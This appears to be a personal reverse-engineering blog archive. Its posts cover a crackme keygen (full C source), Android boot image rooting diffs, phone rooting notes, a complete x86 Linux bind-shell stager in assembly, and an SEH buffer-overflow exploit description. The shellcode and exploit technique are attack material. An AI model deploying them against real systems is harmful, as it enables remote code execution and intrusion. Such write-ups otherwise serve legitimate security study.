vendredi 28 mai 2010

BratAlarm's Just a little crackme

It's been some time since I updated my blog but today I got bored and reversed a very little crackme.
It is the BratAlarm "Just a little crackme" that I'm going to talk about.
It was a bit interesting in the sense that you need to have basic mathematics knowledge.

Basic maths knowledge

Complex numbers are used throughout the whole keygenme to generate the serial.

Complex number basic operations used are the following :
multiplication : (a, b) * (c, d) = (a*c - b*d, b*c + a*d) = (a + i*b) * (c + i*d)
addition : (a, b) + (c, d) = (a + c, b + d) = (a + i*b) + (c + i*d)

Where is the serial checking and generation located?
First of all, this keygenme wasn't packed nor obfuscated in any sort so it was pretty simple to find out
where the interesting parts are :
- API analysis : DialogBoxParamA
- Strings

Using these twos clues, we can extract the fact that everything happens in DialogFunc() and that it is using complex numbers.

How is the serial generated then?

First we need to know what's the serial pattern.
From the following disassembly :
.text:00401129                 mov     serial_part1_real, eax
.text:0040112E                 add     edi, 9
.text:00401131                 mov     byte ptr [edi+8], 0
.text:00401135                 push    edi
.text:00401136                 call    str2num
.text:0040113B                 mov     serial_part1_imaginary, eax
.text:00401140                 add     edi, 9
.text:00401143                 mov     byte ptr [edi+8], 0
.text:00401147                 push    edi
.text:00401148                 call    str2num
.text:0040114D                 mov     serial_part2_real, eax
.text:00401152                 add     edi, 9
.text:00401155                 mov     byte ptr [edi+8], 0
.text:00401159                 push    edi
.text:0040115A                 call    str2num
.text:0040115F                 mov     serial_part2_imaginary, eax

We can safely say that the serial is of some form like that :
AAAAAAAA-BBBBBBBB-CCCCCCCC-DDDDDDDD

The serial is generated in many parts :
* Get username
* Generate serial
- Do a checksum of the string and use it to generate a real and imaginary part, you get Za
- Use some magic to generate a value for a second complex number, you get Zb
- Then we must resolve some equation to get the serial

These are the functions needed to create the serial :
- strsum() : a checksum using all the characters in a string
- str2num() : Convert hexdigit in ASCII to the number form
- gen_magic() : Generate some value using a magic number and the string

The checksum function :
.text:004010B5 strsum:                                 ; CODE XREF: DialogFunc+91
.text:004010B5                 mov     dl, [esi]
.text:004010B7                 add     eax, edx
.text:004010B9                 inc     esi
.text:004010BA                 test    edx, edx
.text:004010BC                 jnz     short strsum


The generation of first number C1 :
.text:004010BE                 mov     ComplexNumber1_real, eax ; Re(C1)
.text:004010C3                 dec     eax
.text:004010C4                 imul    eax, 3
.text:004010C7                 mov     ComplexNumber1_imaginary, eax ; Im(C1)

Magic happens!
.text:004010D8 gen_magic2:                             ; CODE XREF: DialogFunc+B7 j
.text:004010D8                 mov     dl, [esi]
.text:004010DA                 xor     eax, edx
.text:004010DC                 rol     eax, 5
.text:004010DF                 inc     esi
.text:004010E0                 test    edx, edx
.text:004010E2                 jnz     short gen_magic2

Generation of C2 :
.text:004010E4                 xor     edx, edx
.text:004010E6                 mov     ecx, 7A69h
.text:004010EB                 div     ecx
.text:004010ED                 mov     ComplexNumber2_real, edx ; Re(C2)
.text:004010F3                 and     eax, 0FFFh
.text:004010F8                 mov     ComplexNumber2_imaginary, eax ; Im(C2)

str2num()
.text:004012C5 str2num         proc near               ; CODE XREF: DialogFunc+F9 p
.text:004012C5                                         ; DialogFunc+10B p ...
.text:004012C5
.text:004012C5 arg_0           = dword ptr  8
.text:004012C5
.text:004012C5                 push    ebp
.text:004012C6                 mov     ebp, esp
.text:004012C8                 pusha
.text:004012C9                 xor     eax, eax
.text:004012CB                 xor     edx, edx
.text:004012CD                 mov     ecx, 8
.text:004012D2                 mov     esi, [ebp+arg_0]
.text:004012D5
.text:004012D5 loc_4012D5:                             ; CODE XREF: str2num+28 j
.text:004012D5                 mov     dl, [esi]
.text:004012D7                 test    dl, dl
.text:004012D9                 jz      short loc_4012EF
.text:004012DB                 sub     dl, 30h ; '0'
.text:004012DE                 cmp     dl, 0Ah
.text:004012E1                 jb      short loc_4012E6
.text:004012E3                 sub     dl, 7           ; hex digit part
.text:004012E6
.text:004012E6 loc_4012E6:                             ; CODE XREF: str2num+1C j
.text:004012E6                 shl     eax, 4
.text:004012E9                 or      eax, edx
.text:004012EB                 inc     esi
.text:004012EC                 dec     ecx
.text:004012ED                 jnz     short loc_4012D5
.text:004012EF
.text:004012EF loc_4012EF:                             ; CODE XREF: str2num+14 j
.text:004012EF                 mov     [ebp+arg_0], eax
.text:004012F2                 popa
.text:004012F3                 mov     eax, [ebp+arg_0]
.text:004012F6                 leave
.text:004012F7                 retn    4
.text:004012F7 str2num         endp

Now going to check the serial generation part.
It is done in two routines :

* First routine
.text:004011F1 gen_serial_part1 proc near              ; CODE XREF: DialogFunc+15C
.text:004011F1
.text:004011F1 ComplexResult2  = byte ptr -10h
.text:004011F1 ComplexResult1  = byte ptr -8
.text:004011F1 ComplexResult   = dword ptr  8
.text:004011F1 ComplexNumber   = dword ptr  0Ch
.text:004011F1
.text:004011F1                 push    ebp
.text:004011F2                 mov     ebp, esp
.text:004011F4                 add     esp, 0FFFFFFF0h
.text:004011F7                 pusha
.text:004011F8                 mov     edi, [ebp+ComplexResult]
.text:004011FB                 mov     esi, [ebp+ComplexNumber]
.text:004011FE                 lea     ebx, [ebp+ComplexResult1]
.text:00401201                 lea     ecx, [ebp+ComplexResult2]
.text:00401204                 push    esi
.text:00401205                 push    esi
.text:00401206                 push    ebx
.text:00401207                 call    complex_multiply
.text:0040120C                 push    offset serial_part1_real
.text:00401211                 push    esi
.text:00401212                 push    ecx
.text:00401213                 call    complex_multiply
.text:00401218                 push    ecx
.text:00401219                 push    ebx
.text:0040121A                 push    edi
.text:0040121B                 call    complex_add
.text:00401220                 push    offset serial_part2_real
.text:00401225                 push    edi
.text:00401226                 push    edi
.text:00401227                 call    complex_add
.text:0040122C                 popa
.text:0040122D                 leave
.text:0040122E                 retn    8
.text:0040122E gen_serial_part1 endp

So we have this :
Za = SP2 + C3 * SP1 + C3 * C3

* Second routine
.text:00401231 gen_serial_part2 proc near              ; CODE XREF: DialogFunc+16B
.text:00401231
.text:00401231 ComplexResult2  = byte ptr -10h
.text:00401231 ComplexResult1  = byte ptr -8
.text:00401231 ComplexResult   = dword ptr  8
.text:00401231 ComplexNumber   = dword ptr  0Ch
.text:00401231
.text:00401231                 push    ebp
.text:00401232                 mov     ebp, esp
.text:00401234                 add     esp, 0FFFFFFF0h
.text:00401237                 pusha
.text:00401238                 mov     edi, [ebp+ComplexResult]
.text:0040123B                 mov     esi, [ebp+ComplexNumber]
.text:0040123E                 lea     ebx, [ebp+ComplexResult1]
.text:00401241                 lea     ecx, [ebp+ComplexResult2]
.text:00401244                 push    offset ComplexNumber1_real
.text:00401249                 push    esi
.text:0040124A                 push    ebx
.text:0040124B                 call    complex_add
.text:00401250                 push    offset ComplexNumber2_real
.text:00401255                 push    esi
.text:00401256                 push    ecx
.text:00401257                 call    complex_add
.text:0040125C                 push    ecx
.text:0040125D                 push    ebx
.text:0040125E                 push    edi
.text:0040125F                 call    complex_multiply
.text:00401264                 popa
.text:00401265                 leave
.text:00401266                 retn    8
.text:00401266 gen_serial_part2 endp

We obtain this :
Zb = (C1 + C3)*(C2 + C3)

Next the serial is checked as followed :
Za = Zb
SP2 + C3 * SP1 + C3 * C3 = (C1 + C3)*(C2 + C3)
SP2 + C3 * SP1 + C3 * C3 = C1 * C2 + C1 * C3 + C3 * C2 + C3 * C3
SP2 + C3 * SP1 + C3 * C3 = C1 * C2 + C3 * (C1 + C2) + C3 * C3
SP2 + C3 * SP1 = C1 * C2 + C3 * (C1 + C2)

Using identification, we can see that :
SP1 = C1 + C2
SP2 = C1 * C2

Here is the C source for the keygen :
#include <stdlib.h>
#include <stdio.h>

struct complex_t {
    // real part
    int real;
    // imaginary part
    int i;
};

// complex number multiplication
struct complex_t* complex_multiply (struct complex_t **result,
                                    struct complex_t *complex1,
                                    struct complex_t *complex2)
{
    // check pointer validity
    if (!result || !complex1 || !complex2)
        return NULL;

    // check pointer validity
    if (!*result)
        *result = malloc(sizeof(**result));

    // we calculate the real part
    (*result)->real = complex1->real * complex2->real - complex1->i * complex2->i;
    // we calculate the imaginary part
    (*result)->i = complex1->i * complex2->real + complex1->real * complex2->i;

    // result = (a+bi)*(c+di) = (a*c - b*d) + (b*c + a*d)i

    return *result;
}

// complex number addition
struct complex_t* complex_add (struct complex_t **result,
                               struct complex_t *complex1,
                               struct complex_t *complex2)
{
    // check pointer validity
    if (!result || !complex1 || !complex2)
        return NULL;

    // check pointer validity
    if (!*result)
        *result = malloc(sizeof(**result));

    // we calculate the real part
    (*result)->real = complex1->real + complex2->real;
    // we calculate the imaginary part
    (*result)->i = complex1->i + complex2->i;

    // result = (a+bi)+(c+di) = (a+c) + (b+d)i

    return *result;
}

unsigned int strsum (unsigned char *str, size_t len) {
    size_t i;
    int sum;

    // check pointers
    if (!str || !len)
        return -1;

    // sum
    for (i = 0, sum = 0; *str && i < len; i++)
        sum += str[i];

    return sum;
}

unsigned int rol32 (unsigned int val, size_t shift) {
    shift = shift % 32;
    return (val << shift) | (val >> (32 - shift));
}

int gen_magic (unsigned char *str, size_t len) {
    unsigned int magic = 0x12345678;
    unsigned char byte;

    // check pointers
    if (!str || !len)
        return -1;

    // magic happen
    do {
        byte = *str;
        magic ^= byte;
        magic = rol32(magic, 5);
        ++str;
    } while (byte);

    return magic;
}

struct complex_t** keygen (unsigned char *name, size_t len) {
    unsigned int magic;
    struct complex_t c1, c2;
    struct complex_t *s1 = NULL, *s2 = NULL, **serial;

    // compute Za and Zb
    c1.real = strsum(name, len);
    c1.i = (c1.real - 1) * 3;
    magic = gen_magic(name, len);
    c2.real = magic % 0x7a69;
    c2.i = (magic / 0x7a69) & 0xfff;

    // compute serial part 1    
    s1 = complex_add (&s1, &c1, &c2);
    // compute serial part 2
    s2 = complex_multiply (&s2, &c1, &c2);
    
    // show complex numbers
    printf ("(a, b) : (%x, %x)\n", c1.real, c1.i);
    printf ("(c, d) : (%x, %x)\n", c2.real, c2.i);
    // show serial calculations
    printf ("Serial part 1 = (a+c, b+d)\n");
    printf ("Serial part 2 = (a*c - b*d, b*c + a*d)\n");
    // show serial
    printf ("serial : %08X-%08X-%08X-%08X\n", s1->real, s1->i, s2->real, s2->i);
    
    return serial;
}

int main (int argc, char *argv[]) {
    unsigned char *username;

    username = calloc (1, 128);

    // ask username
    printf ("Please input username\n");
    gets(username);
    // show serial
    keygen (username, 128);
    
    return 0;
}

We don't need to reconstruct source code from keygenme but here it is for those who didn't follow :

// keygenme
int keygenme (unsigned char *name, size_t len) {
    unsigned int magic;
    struct complex_t *ctmp1 = NULL, *ctmp2 = NULL;
    struct complex_t c1, c2, c3;
    struct complex_t userserial_part1, userserial_part2;
    struct complex_t *serial_part1 = NULL, *serial_part2 = NULL;

    // part 1
    //
    c1.real = strsum (name, len);
    c1.i = (c1.real - 1) * 3;
    //
    magic = gen_magic(name, len);
    c2.real = magic % 0x7a69;
    c2.i = (magic / 0x7a69) & 0xfff;
    //
    c3.real = 3;
    c3.i = 0x4e1f;
    //
    userserial_part1.real = str2num(name, 8);
    userserial_part1.i = str2num(name + 9, 8);
    userserial_part2.real = str2num(name + 18, 8);
    userserial_part2.i = str2num(name + 27, 8);
    // we generate part 1
    ctmp1 = complex_multiply (&ctmp1, &c3, &c3);
    ctmp2 = complex_multiply (&ctmp2, &c3, &userserial_part1);
    serial_part1 = complex_add (&serial_part1, ctmp1, ctmp2);
    serial_part1 = complex_add (&serial_part1, serial_part1, &userserial_part2);
    // we generate part 2
    complex_add (&ctmp1, &c3, &c1);
    complex_add (&ctmp2, &c3, &c2);
    serial_part2 = complex_multiply (&serial_part2, ctmp2, ctmp1);
    
    return 0;
}

Hope you enjoyed reading this small tutorial.

Happy reversing,

m_101

- link : Just a Little Crackme

dimanche 25 avril 2010

Unpacking the boot.img

Hi!

Today, I will speaking a bit about Android boot.img.

I've been wondering what it is that makes the Android phones go root.
In facts, my theory was the following : we only need su to get root.

To check that, I coded a boot.img unpacker. The link to download it is below.

The boot.img format is defined in this kernel file : android/system/core/mkbootimg/bootimg.h.

/*
** +-----------------+
** | boot header     | 1 page
** +-----------------+
** | kernel          | n pages 
** +-----------------+
** | ramdisk         | m pages 
** +-----------------+
** | second stage    | o pages
** +-----------------+
**
** n = (kernel_size + page_size - 1) / page_size
** m = (ramdisk_size + page_size - 1) / page_size
** o = (second_size + page_size - 1) / page_size
**
** 0. all entities are page_size aligned in flash
** 1. kernel and ramdisk are required (size != 0)
** 2. second is optional (second_size == 0 -> no second)
** 3. load each element (kernel, ramdisk, second) at
**    the specified physical address (kernel_addr, etc)
** 4. prepare tags at tag_addr.  kernel_args[] is
**    appended to the kernel commandline in the tags.
** 5. r0 = 0, r1 = MACHINE_TYPE, r2 = tags_addr
** 6. if second_size != 0: jump to second_addr
**    else: jump to kernel_addr
*/


With this, we can code a decent unpacker.
The packer would be about using mkbootimg but i don't need it for now.

What I basically did to get to see what make a Nexus One get rooted it to compared the original boot.img to the corresponding SuperBoot boot.img.
What I saw is the following :

diff -ru original/default.prop rooted/default.prop
--- original/default.prop 2010-04-25 11:58:52.143574246 +0200
+++ rooted/default.prop 2010-04-25 11:59:12.373574922 +0200
@@ -1,7 +1,7 @@
#
# ADDITIONAL_DEFAULT_PROPERTIES
#
-ro.secure=1
+ro.secure=0
ro.allow.mock.location=0
-ro.debuggable=0
-persist.service.adb.enable=0
+ro.debuggable=1
+persist.service.adb.enable=1
diff -ru original/init.rc rooted/init.rc
--- original/init.rc 2010-04-25 11:58:52.163574413 +0200
+++ rooted/init.rc 2010-04-25 11:59:12.393586264 +0200
@@ -230,6 +230,11 @@

## Daemon processes to be run by init.
##
+service superboot /system/bin/sh /superboot/superboot.sh
+    user root
+    group root
+    oneshot
+
service console /system/bin/sh
console

Only in rooted/: superboot


Well, we can clearly see that some property are there to unlock a security and enable permanent USB Debugging mode.
More over, only the job is done in the superboot directory which contains :
- su
- superboot.sh
- Superboot.apk

Hell yeah, seems like my theory hold ;) .

- HOWTO: Unpack, Edit, and Re-Pack Boot Images
- Superboot - rooting the Nexus One
- Original Nexus One images
- m_101 GIT repository

samedi 24 avril 2010

HTC Desire

Hi!

I finally have a smartphone! Got my HTC desire yesterday, of course I couldn't wait to play with it a bit. It's pretty dazzling to think that it has a 1Ghz CPU and 576MB of RAM, crazy specs for a phone.


It's pretty straightforward to use, but there still is a lot of apps to have on it I guess : nmap, aircrack-ng, metasploit, maltego like, scapy, etc.
I was happy as hell to have it but got disappointed very fast to see that most of these tools weren't there or couldn't be launched because of some missing dependencies (ruby, python etc).
For Ruby, there was the Ruboto IRB shell, which seems to be a JRuby port (yeah java isn't that multiplateform afterall), but it doesn't seem to manage folders.
So I searched for another one and stumbled upon ASE - Android Scripting Environment, haven't tried it yet, gotta have to, more on this later.


With smartphone, mean communicating device, and the problem with the phone rates is that having all ports unlocked is expensive as hell, it's 10€ more compared to only having web (80, 443) and mail port (pop or imap? or maybe both dunno). It means that we would just need to have some kind of tunneling server to bypass the restriction and go anywhere we want to go.
Lucky i have WiFi where i am.


Since i'm kind of interested in security and like having a hackable device, I was asking myself if we could play with network routes, modules, etc ... we just can't ... or maybe we can ;) .
I found frustrating to not really own the phone, yeah we aren't root, just normal users.
So I looked a bit at the different steps needed to completely own the phone. There are like tons of tutorials as how to do it ... but all the same programs, we don't know that much about the root hack image itself (Superboot thingy).


Anyway, I found some cool work about it, the steps looks something like this :
- unlock bootloader
- put the rooted boot.img on sd card
- launch in bootloader mode
- choose fastboot
- rooted

I didn't have to unlock my phone since it already was. The only manipulation to do to unlock are these :
- Connect your phone in USB Debugging mode
- user@computer$ fastboot oem unlock
That's it, you unlocked the bootloader.

There was an elevation privilege exploit some months ago but it got fixed but now it seems. The root hack is now about flashing the bootloader.

The recovery image hack isn't necessary but useful if you wanna make a backup of your rom and play a bit more with custom roms.
The last thing to note is that the HTC Desire is pretty similar to the Nexus One so it shouldn't be too different for rooting it either.

For now it's only my theory I extrapolated from the doc' i read. So the goal would be to make a rooted boot.img and we'll have the key to the kingdom.

Anyway, I was thinking of building some kernel and stuffs from source but I didn't managed it yet. Got to look if it isn't some sort of cross compilation problem.

More over, when the phone is rooted, my guess would that it might be easier to hook stuffs in the system to better analyze it.


For now, I'm searching for an original HTC Desire firmware before I work more on a root hack for it.

That's all for today.


Sources :
- Why root?
- How to unlock the bootloader on your Nexus One
- Superboot
- Android Scripting Environment
- Obsolete android elevation privilege exploit
- Build CyanogenMod from source
- HOWTO: Unpack, Edit, and Re-Pack Boot Images
- Install_Custom_ROM
- Amon_RA Recovery image
- How to gain root access on your HTC Hero

mercredi 21 avril 2010

Linux bind stager x86 WIP (unoptimised)

Last day I was asking myself about metasploit not seeming to have a real x86 Linux stager and I was like : oh let's do it since I have time today.

This shellcode was untested and not optimised. It is only a Work In Progress since I will be quite busy these few next weeks.
My guess for it's usage would be for jailbreaking (restricted shell but vulnerable program who knows? ;) ) or simply for doing specific tasks which might need space.

For now it's 106 bytes, there is room for improvements of course ;) .

Here it is :
; AGPL v3
; Author : m_101

bits 32

; socket function number
%define SYS_SOCKET  1
%define SYS_BIND    2
%define SYS_LISTEN  4
%define SYS_ACCEPT  5
%define SYS_RECV    10

;
%define AF_INET     2

%define SOCK_STREAM 1

%define PROT_NONE   0
%define PROT_READ   1
%define PROT_WRITE  2
%define PROT_EXEC   4

%define MAP_SHARED  1
%define MAP_PRIVATE 2
%define MAP_FIXED   16

;
%define SIZEOF_SOCKADDR_IN  16

;
%define PORT    4444

section .text

stager:
; socket opening
socket:
push byte 102   ; socketcall
pop eax
; args
cdq
mov byte dl, 2  ; edx = 2 <=> AF_INET
push edx
dec edx         ; edx = 1 <=> SOCK_STREAM
push edx
cdq             ; reset edx
push edx
mov ecx, esp
; socket
push byte SYS_SOCKET
pop ebx
; socket (AF_INET, SOCK_STREAM, 0)
int 0x80
mov esi, eax    ; save socket descriptor
; bind : need to finish it
bind:
push byte 102   ; socketcall
pop eax
cdq             ; reset edx
; constructing struct sockaddr_in
push edx            ; padding
push edx            ; padding
push edx            ; address = 0 = ANY_ADDRESS
push word PORT      ; sin_port
push byte AF_INET   ; sin_family
mov ecx, esp        ; struct sockaddr_in *addr

; construct args array
push byte SIZEOF_SOCKADDR_IN    ; socklen_t addrlen
push ecx                        ; struct sockaddr_in *addr
push esi                        ; socket descriptor
mov ecx, esp                    ; args
push byte SYS_BIND
pop ebx
; bind (sd, addr, 16)
int 0x80

; listen
listen:
push byte 102
pop eax
cdq             ; reset edx
mov byte dl, 10 ; backlog = 10
push edx        ; backlog
push esi        ; socket descriptor
mov ecx, esp    ; args
push byte SYS_LISTEN
pop ebx
; listen (sd, 10);
int 0x80
;
accept:
push byte 102      ; socketcall
pop eax
push byte SIZEOF_SOCKADDR_IN
push esp    ; to fix size address
push esp    ; to fix sockaddr_in address
push esi
mov ecx, esp    ; args array
mov byte bl, SYS_ACCEPT
int 0x80
mov esi, eax    ; save client socket


; memory allocation
; mmap
mmap:
push byte 90
pop eax
; sign extend eax => edx = 0
cdq
; construct args
push edx    ; NULL
; 4MB size
push byte 1
pop edx
shr edx, 12
push edx        ; edx = 4MB
xchg edx, ebx   ; ebx = 4MB
; PROT_READ | PROT_WRITE | PROT_EXEC = 7
cdq
mov byte dl, PROT_READ | PROT_WRITE | PROT_EXEC
push edx
; MAP_PRIVATE
cdq
mov byte dl, MAP_PRIVATE
push edx
; fd
push edi    ; client socket
; offset
cdq         ; reset edx
push edx    ; offset = 0
; mmap (NULL, 4MB, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE, 0, 0)
int 0x80        ; make syscall
mov edi, eax    ; save allocated memory

recv:
push byte 102   ; socketcall syscall
pop eax

cdq             ; reset edx
push edx        ; flag
push ebx        ; memory allocated size
push edi        ; memory address
push esi        ; client socket descriptor
mov ecx, esp    ; args

push byte SYS_RECV
pop ebx

; recv (client socket descriptor, memory address, 4MB, 0);
int 0x80

; stage execution
jmp edi


Next thing to do is to optimized it and do the reverse version ;) .

Happy shellcoding,

m_101

jeudi 15 avril 2010

Exploiting SteinBerg MyMP3Player

Hi!

As some of you may know, 2 weeks ago I posted an exploit module for metasploit and it got committed in revision 8975.
Weaponizing actual PoC in working exploit is quite an interesting process in understanding and getting some exploit writing techniques.
Thanks to Joshua Drake for helping me on this one.

It was prolly a SEH based exploit, there was a buffer overflow in the m3u parsing routine. There wasn't anything really special about this exploit, it's a classic SEH exploit.

We have a direct ret overwrite at offset 1024 and SEH overwrite at offset 1040.
For bad chars, there was the classic NULL, then tried "\r\d" and turns out they were bad chars. 0x5c was found later to be a bad char too.

We found the pointers using msfpescan mostly, immunity debug and some plugins to see if they were SafeSEH modules or not.

The SEH exploit buffer is as follow :
[encoder] [payload] [junk] [ret] [stub] [jmp] [se handler]
The ret version :
[encoder] [payload] [junk] [ret]

The SEH ret pointer is quite interesting as how it is generated.
Since 0xc0000000 points after 0x80000000, it's a kernel pointer, it will trigger an exception for sure ;) .
0x01 in the rest of the address is to make sure we don't have NULL characters.
And finally rand() to have a different signature for the ret address each time.

The direct ret overwrite pointer is a "call ecx" since ecx points to our buffer ;) .

For the people wanting to have more details on SEH exploits, I advise you reading Peter Eeckoutte's great serie ;) .

m_101

Link to the exploit module : SteinBerg MyMP3Player .
Link to Peter Van Eechoutte's Blog : Peter Van Eechoutte's articles

mercredi 3 juin 2009

Blog opening! :)

Hi people!

Heh, just started back to reverse a bit, I though : "Why not give it a shot again?".
Yeah, I'm back reversing stuffs and all! Might come to a long way before getting some levels back and getting better :) .
;) got some horses to catch up (cheerz FC people).

And btw, yeah, I opened this blog for fun and pleasure so if I don't wanna post then I don't wanna post.
But remember : knowledge is power ... so share it, the more we are, the less they can stop us.

"You may stop this individual, but you can't stop us all... after all, we're all alike."
(The Mentor)
It's time to reverse!

m_101

P.S. : For the ones who didn't see through .... binholic, make a parallel with alcoholic and you'll know :) .